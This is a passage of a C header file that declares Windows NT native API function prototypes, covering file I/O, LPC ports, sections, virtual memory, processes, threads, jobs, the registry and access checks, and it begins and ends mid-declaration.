PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI NtUnlockFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key ); NTSTATUS NTAPI NtReadFileScatter ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI NtSetEaFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length ); NTSTATUS NTAPI NtWriteFileGather ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI NtLoadDriver ( IN PUNICODE_STRING DriverServiceName ); NTSTATUS NTAPI NtUnloadDriver ( IN PUNICODE_STRING DriverServiceName ); NTSTATUS NTAPI NtCreateIoCompletion ( OUT PHANDLE IoCompletionHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Count OPTIONAL ); NTSTATUS NTAPI NtOpenIoCompletion ( OUT PHANDLE IoCompletionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQueryIoCompletion ( IN HANDLE IoCompletionHandle, IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, OUT PVOID IoCompletionInformation, IN ULONG IoCompletionInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtSetIoCompletion ( IN HANDLE IoCompletionHandle, IN PVOID KeyContext, _In_opt_ PVOID ApcContext, IN NTSTATUS IoStatus, IN ULONG_PTR IoStatusInformation ); NTSTATUS NTAPI NtRemoveIoCompletion ( IN HANDLE IoCompletionHandle, OUT PVOID *KeyContext, OUT PVOID *ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtCallbackReturn ( IN PVOID OutputBuffer OPTIONAL, IN ULONG OutputLength, IN NTSTATUS Status ); NTSTATUS NTAPI NtQueryDebugFilterState ( IN ULONG ComponentId, IN ULONG Level ); NTSTATUS NTAPI NtSetDebugFilterState ( IN ULONG ComponentId, IN ULONG Level, IN BOOLEAN State ); NTSTATUS NTAPI NtYieldExecution ( VOID ); NTSTATUS NTAPI NtCreatePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, _In_opt_ ULONG MaxPoolUsage ); NTSTATUS NTAPI NtCreateWaitablePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, _In_opt_ ULONG MaxPoolUsage ); NTSTATUS NTAPI NtConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, _Inout_opt_ PPORT_VIEW ClientView, _Inout_opt_ PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, _Inout_opt_ PVOID ConnectionInformation, _Inout_opt_ PULONG ConnectionInformationLength ); NTSTATUS NTAPI NtSecureConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, _Inout_opt_ PPORT_VIEW ClientView, _In_opt_ PSID RequiredServerSid, _Inout_opt_ PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, _Inout_opt_ PVOID ConnectionInformation, _Inout_opt_ PULONG ConnectionInformationLength ); NTSTATUS NTAPI NtListenPort( IN HANDLE PortHandle, OUT PPORT_MESSAGE ConnectionRequest ); NTSTATUS NTAPI NtAcceptConnectPort( OUT PHANDLE PortHandle, _In_opt_ PVOID PortContext, IN PPORT_MESSAGE ConnectionRequest, IN BOOLEAN AcceptConnection, _Inout_opt_ PPORT_VIEW ServerView, OUT OPTIONAL PREMOTE_PORT_VIEW ClientView ); NTSTATUS NTAPI NtCompleteConnectPort( IN HANDLE PortHandle ); NTSTATUS NTAPI NtRequestPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage ); NTSTATUS NTAPI NtRequestWaitReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage, OUT PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI NtReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI NtReplyWaitReplyPort( IN HANDLE PortHandle, _Inout_ PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI NtReplyWaitReceivePort( IN HANDLE PortHandle, OUT OPTIONAL PVOID *PortContext , _In_opt_ PPORT_MESSAGE ReplyMessage, OUT PPORT_MESSAGE ReceiveMessage ); NTSTATUS NTAPI NtReplyWaitReceivePortEx( IN HANDLE PortHandle, OUT OPTIONAL PVOID *PortContext, _In_opt_ PPORT_MESSAGE ReplyMessage, OUT PPORT_MESSAGE ReceiveMessage, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtImpersonateClientOfPort( IN HANDLE PortHandle, IN PPORT_MESSAGE Message ); NTSTATUS NTAPI NtReadRequestData( IN HANDLE PortHandle, IN PPORT_MESSAGE Message, IN ULONG DataEntryIndex, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI NtWriteRequestData( IN HANDLE PortHandle, IN PPORT_MESSAGE Message, IN ULONG DataEntryIndex, IN PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesWritten ); NTSTATUS NTAPI NtQueryInformationPort( IN HANDLE PortHandle, IN PORT_INFORMATION_CLASS PortInformationClass, OUT PVOID PortInformation, IN ULONG Length, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtCreateSection ( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PLARGE_INTEGER MaximumSize, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, _In_opt_ HANDLE FileHandle ); NTSTATUS NTAPI NtOpenSection ( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtMapViewOfSection ( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, IN SIZE_T CommitSize, _Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize, IN SECTION_INHERIT InheritDisposition, IN ULONG AllocationType, IN ULONG Win32Protect ); NTSTATUS NTAPI NtUnmapViewOfSection ( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); NTSTATUS NTAPI NtExtendSection ( IN HANDLE SectionHandle, _Inout_ PLARGE_INTEGER NewSectionSize ); NTSTATUS NTAPI NtAreMappedFilesTheSame ( IN PVOID File1MappedAsAnImage, IN PVOID File2MappedAsFile ); NTSTATUS NTAPI NtAllocateVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ); NTSTATUS NTAPI NtFreeVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG FreeType ); NTSTATUS NTAPI NtReadVirtualMemory ( IN HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI NtWriteVirtualMemory ( IN HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress, IN CONST VOID *Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesWritten ); NTSTATUS NTAPI NtFlushVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, OUT PIO_STATUS_BLOCK IoStatus ); NTSTATUS NTAPI NtLockVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); NTSTATUS NTAPI NtUnlockVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); NTSTATUS NTAPI NtProtectVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ); NTSTATUS NTAPI NtQueryVirtualMemory ( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI NtQuerySection ( IN HANDLE SectionHandle, IN SECTION_INFORMATION_CLASS SectionInformationClass, OUT PVOID SectionInformation, IN SIZE_T SectionInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI NtMapUserPhysicalPages ( IN PVOID VirtualAddress, IN ULONG_PTR NumberOfPages, _In_opt_ PULONG_PTR UserPfnArray ); NTSTATUS NTAPI NtMapUserPhysicalPagesScatter ( IN PVOID *VirtualAddresses, IN ULONG_PTR NumberOfPages, _In_opt_ PULONG_PTR UserPfnArray ); NTSTATUS NTAPI NtAllocateUserPhysicalPages ( IN HANDLE ProcessHandle, _Inout_ PULONG_PTR NumberOfPages, OUT PULONG_PTR UserPfnArray ); NTSTATUS NTAPI NtFreeUserPhysicalPages ( IN HANDLE ProcessHandle, _Inout_ PULONG_PTR NumberOfPages, IN PULONG_PTR UserPfnArray ); NTSTATUS NTAPI NtGetWriteWatch ( IN HANDLE ProcessHandle, IN ULONG Flags, IN PVOID BaseAddress, IN SIZE_T RegionSize, OUT PVOID *UserAddressArray, _Inout_ PULONG_PTR EntriesInUserAddressArray, OUT PULONG Granularity ); NTSTATUS NTAPI NtResetWriteWatch ( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN SIZE_T RegionSize ); NTSTATUS NTAPI NtCreatePagingFile ( IN PUNICODE_STRING PageFileName, IN PLARGE_INTEGER MinimumSize, IN PLARGE_INTEGER MaximumSize, IN ULONG Priority ); NTSTATUS NTAPI NtFlushInstructionCache ( IN HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress, IN SIZE_T Length ); NTSTATUS NTAPI NtFlushWriteBuffer ( VOID ); NTSTATUS NTAPI NtQueryObject ( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, OUT PVOID ObjectInformation, IN ULONG ObjectInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI NtSetInformationObject ( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, IN PVOID ObjectInformation, IN ULONG ObjectInformationLength ); NTSTATUS NTAPI NtDuplicateObject ( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, _In_opt_ HANDLE TargetProcessHandle, OUT PHANDLE TargetHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Options ); NTSTATUS NTAPI NtMakeTemporaryObject ( IN HANDLE Handle ); NTSTATUS NTAPI NtMakePermanentObject ( IN HANDLE Handle ); NTSTATUS NTAPI NtSignalAndWaitForSingleObject ( IN HANDLE SignalHandle, IN HANDLE WaitHandle, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtWaitForSingleObject ( IN HANDLE Handle, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtWaitForMultipleObjects ( IN ULONG Count, IN HANDLE Handles[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtWaitForMultipleObjects32 ( IN ULONG Count, IN LONG Handles[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtSetSecurityObject ( IN HANDLE Handle, IN SECURITY_INFORMATION SecurityInformation, IN PSECURITY_DESCRIPTOR SecurityDescriptor ); NTSTATUS NTAPI NtQuerySecurityObject ( IN HANDLE Handle, IN SECURITY_INFORMATION SecurityInformation, OUT PSECURITY_DESCRIPTOR SecurityDescriptor, IN ULONG Length, OUT PULONG LengthNeeded ); NTSTATUS NTAPI NtClose ( IN HANDLE Handle ); NTSTATUS NTAPI NtCreateDirectoryObject ( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtOpenDirectoryObject ( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQueryDirectoryObject ( IN HANDLE DirectoryHandle, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, _Inout_ PULONG Context, OUT PULONG ReturnLength ); NTSTATUS NTAPI NtCreateSymbolicLinkObject ( OUT PHANDLE LinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING LinkTarget ); NTSTATUS NTAPI NtOpenSymbolicLinkObject ( OUT PHANDLE LinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQuerySymbolicLinkObject ( IN HANDLE LinkHandle, _Inout_ PUNICODE_STRING LinkTarget, OUT PULONG ReturnedLength ); NTSTATUS NTAPI NtGetPlugPlayEvent ( IN HANDLE EventHandle, _In_opt_ PVOID Context, OUT PPLUGPLAY_EVENT_BLOCK EventBlock, IN ULONG EventBufferSize ); NTSTATUS NTAPI NtPlugPlayControl( IN PLUGPLAY_CONTROL_CLASS PnPControlClass, _Inout_ PVOID PnPControlData, IN ULONG PnPControlDataLength ); NTSTATUS NTAPI NtPowerInformation( IN POWER_INFORMATION_LEVEL InformationLevel, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI NtSetThreadExecutionState( IN EXECUTION_STATE esFlags, // ES_xxx flags OUT EXECUTION_STATE *PreviousFlags ); NTSTATUS NTAPI NtRequestWakeupLatency( IN LATENCY_TIME latency ); // NTSTATUS // NTAPI // NtInitiatePowerAction( // IN POWER_ACTION SystemAction, // IN SYSTEM_POWER_STATE MinSystemState, // IN ULONG Flags, // POWER_ACTION_xxx flags // IN BOOLEAN Asynchronous // ); // NTSTATUS // NTAPI // NtSetSystemPowerState( // IN POWER_ACTION SystemAction, // IN SYSTEM_POWER_STATE MinSystemState, // IN ULONG Flags // POWER_ACTION_xxx flags // ); // NTSTATUS // NTAPI // NtGetDevicePowerState( // IN HANDLE Device, // OUT DEVICE_POWER_STATE *State // ); NTSTATUS NTAPI NtCancelDeviceWakeupRequest( IN HANDLE Device ); NTSTATUS NTAPI NtRequestDeviceWakeup( IN HANDLE Device ); NTSTATUS NTAPI NtCreateProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ParentProcess, IN BOOLEAN InheritObjectTable, _In_opt_ HANDLE SectionHandle, _In_opt_ HANDLE DebugPort, _In_opt_ HANDLE ExceptionPort ); NTSTATUS NTAPI NtCreateProcessEx( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ParentProcess, IN ULONG Flags, _In_opt_ HANDLE SectionHandle, _In_opt_ HANDLE DebugPort, _In_opt_ HANDLE ExceptionPort, IN ULONG JobMemberLevel ); NTSTATUS NTAPI NtOpenProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PCLIENT_ID ClientId ); NTSTATUS NTAPI NtTerminateProcess( _In_opt_ HANDLE ProcessHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI NtTerminateProcess ( _In_opt_ HANDLE ProcessHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI NtQueryInformationProcess ( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtGetNextProcess ( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewProcessHandle ); NTSTATUS NTAPI NtGetNextThread ( IN HANDLE ProcessHandle, IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewThreadHandle ); NTSTATUS NTAPI NtQueryPortInformationProcess ( VOID ); NTSTATUS NTAPI NtSetInformationProcess ( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG ProcessInformationLength ); NTSTATUS NTAPI NtCreateThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, IN PINITIAL_TEB InitialTeb, IN BOOLEAN CreateSuspended ); NTSTATUS NTAPI NtCreateThreadEx ( PHANDLE hThread, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, PVOID lpStartAddress, PVOID lpParameter, ULONG Flags, SIZE_T StackZeroBits, SIZE_T SizeOfStackCommit, SIZE_T SizeOfStackReserve, PVOID lpBytesBuffer ); NTSTATUS NTAPI NtOpenThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PCLIENT_ID ClientId ); NTSTATUS NTAPI NtTerminateThread ( _In_opt_ HANDLE ThreadHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI NtSuspendThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI NtResumeThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI NtSuspendProcess ( HANDLE ProcessHandle ); NTSTATUS NTAPI NtResumeProcess ( IN HANDLE ProcessHandle ); NTSTATUS NTAPI NtGetContextThread ( IN HANDLE ThreadHandle, _Inout_ PCONTEXT ThreadContext ); NTSTATUS NTAPI NtSetContextThread ( IN HANDLE ThreadHandle, IN PCONTEXT ThreadContext ); NTSTATUS NTAPI NtQueryInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtSetInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ); NTSTATUS NtSetInformationVirtualMemory( IN HANDLE ProcessHandle, IN VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, IN ULONG_PTR NumberOfEntries, IN PMEMORY_RANGE_ENTRY VirtualAddresses, IN PVOID VmInformation, IN ULONG VmInformationLength ); NTSTATUS NTAPI NtAlertThread ( IN HANDLE ThreadHandle ); NTSTATUS NTAPI NtAlertResumeThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI NtImpersonateThread ( IN HANDLE ServerThreadHandle, IN HANDLE ClientThreadHandle, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos ); NTSTATUS NTAPI NtTestAlert ( VOID ); NTSTATUS NTAPI NtRegisterThreadTerminatePort ( IN HANDLE PortHandle ); NTSTATUS NTAPI NtSetLdtEntries ( IN ULONG Selector0, IN ULONG Entry0Low, IN ULONG Entry0Hi, IN ULONG Selector1, IN ULONG Entry1Low, IN ULONG Entry1Hi ); NTSTATUS NTAPI NtQueueApcThread ( IN HANDLE ThreadHandle, IN PPS_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcArgument1, _In_opt_ PVOID ApcArgument2, _In_opt_ PVOID ApcArgument3 ); NTSTATUS NTAPI NtCreateJobObject ( OUT PHANDLE JobHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtOpenJobObject ( OUT PHANDLE JobHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtAssignProcessToJobObject ( IN HANDLE JobHandle, IN HANDLE ProcessHandle ); NTSTATUS NTAPI NtTerminateJobObject ( IN HANDLE JobHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI NtIsProcessInJob ( IN HANDLE ProcessHandle, _In_opt_ HANDLE JobHandle ); NTSTATUS NTAPI NtCreateJobSet ( IN ULONG NumJob, IN PJOB_SET_ARRAY UserJobSet, IN ULONG Flags ); NTSTATUS NTAPI NtQueryInformationJobObject ( _In_opt_ HANDLE JobHandle, IN JOBOBJECTINFOCLASS JobObjectInformationClass, OUT PVOID JobObjectInformation, IN ULONG JobObjectInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtSetInformationJobObject ( IN HANDLE JobHandle, IN JOBOBJECTINFOCLASS JobObjectInformationClass, IN PVOID JobObjectInformation, IN ULONG JobObjectInformationLength ); NTSTATUS NTAPI NtCreateKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, ULONG TitleIndex, _In_opt_ PUNICODE_STRING Class, IN ULONG CreateOptions, OUT OPTIONAL PULONG Disposition ); NTSTATUS NTAPI NtDeleteKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI NtDeleteValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName ); NTSTATUS NTAPI NtEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT OPTIONAL PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI NtEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT OPTIONAL PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI NtFlushKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI NtInitializeRegistry( IN USHORT BootCondition ); NTSTATUS NTAPI NtNotifyChangeKey( IN HANDLE KeyHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, OUT OPTIONAL PVOID Buffer, IN ULONG BufferSize, IN BOOLEAN Asynchronous ); NTSTATUS NTAPI NtNotifyChangeMultipleKeys( IN HANDLE MasterKeyHandle, _In_opt_ ULONG Count, _In_opt_ OBJECT_ATTRIBUTES SlaveObjects[], _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, OUT OPTIONAL PVOID Buffer, IN ULONG BufferSize, IN BOOLEAN Asynchronous ); NTSTATUS NTAPI NtLoadKey( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile ); NTSTATUS NTAPI NtLoadKey2( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags ); NTSTATUS NTAPI NtLoadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags, _In_opt_ HANDLE TrustClassKey ); NTSTATUS NTAPI NtOpenKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQueryKey( IN HANDLE KeyHandle, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT OPTIONAL PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI NtQueryValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT OPTIONAL PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI NtQueryMultipleValueKey( IN HANDLE KeyHandle, _Inout_ PKEY_VALUE_ENTRY ValueEntries, IN ULONG EntryCount, OUT PVOID ValueBuffer, _Inout_ PULONG BufferLength, OUT OPTIONAL PULONG RequiredBufferLength ); NTSTATUS NTAPI NtReplaceKey( IN POBJECT_ATTRIBUTES NewFile, IN HANDLE TargetHandle, IN POBJECT_ATTRIBUTES OldFile ); NTSTATUS NTAPI NtRenameKey( IN HANDLE KeyHandle, IN PUNICODE_STRING NewName ); NTSTATUS NTAPI NtCompactKeys( IN ULONG Count, IN HANDLE KeyArray[] ); NTSTATUS NTAPI NtCompressKey( IN HANDLE Key ); NTSTATUS NTAPI NtRestoreKey( IN HANDLE KeyHandle, IN HANDLE FileHandle, IN ULONG Flags ); NTSTATUS NTAPI NtSaveKey( IN HANDLE KeyHandle, IN HANDLE FileHandle ); NTSTATUS NTAPI NtSaveKeyEx( IN HANDLE KeyHandle, IN HANDLE FileHandle, IN ULONG Format ); NTSTATUS NTAPI NtSaveMergedKeys( IN HANDLE HighPrecedenceKeyHandle, IN HANDLE LowPrecedenceKeyHandle, IN HANDLE FileHandle ); NTSTATUS NTAPI NtSetValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, _In_opt_ ULONG TitleIndex, IN ULONG Type, _In_opt_ PVOID Data, IN ULONG DataSize ); NTSTATUS NTAPI NtUnloadKey( IN POBJECT_ATTRIBUTES TargetKey ); NTSTATUS NTAPI NtUnloadKey2( IN POBJECT_ATTRIBUTES TargetKey, IN ULONG Flags ); NTSTATUS NTAPI NtUnloadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, _In_opt_ HANDLE Event ); NTSTATUS NTAPI NtSetInformationKey( IN HANDLE KeyHandle, IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, IN PVOID KeySetInformation, IN ULONG KeySetInformationLength ); NTSTATUS NTAPI NtQueryOpenSubKeys( IN POBJECT_ATTRIBUTES TargetKey, OUT PULONG HandleCount ); NTSTATUS NTAPI NtQueryOpenSubKeysEx( IN POBJECT_ATTRIBUTES TargetKey, IN ULONG BufferLength, OUT PVOID Buffer, OUT PULONG RequiredSize ); NTSTATUS NTAPI NtLockRegistryKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI NtLockProductActivationKeys( _Inout_opt_ ULONG *pPrivateVer, OUT OPTIONAL ULONG *pSafeMode ); NTSTATUS NTAPI NtAccessCheck ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI NtAccessCheckByType ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID PrincipalSelfSid, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI NtAccessCheckByTypeResultList ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID PrincipalSelfSid, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI NtCreateToken( OUT PHANDLE TokenHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ 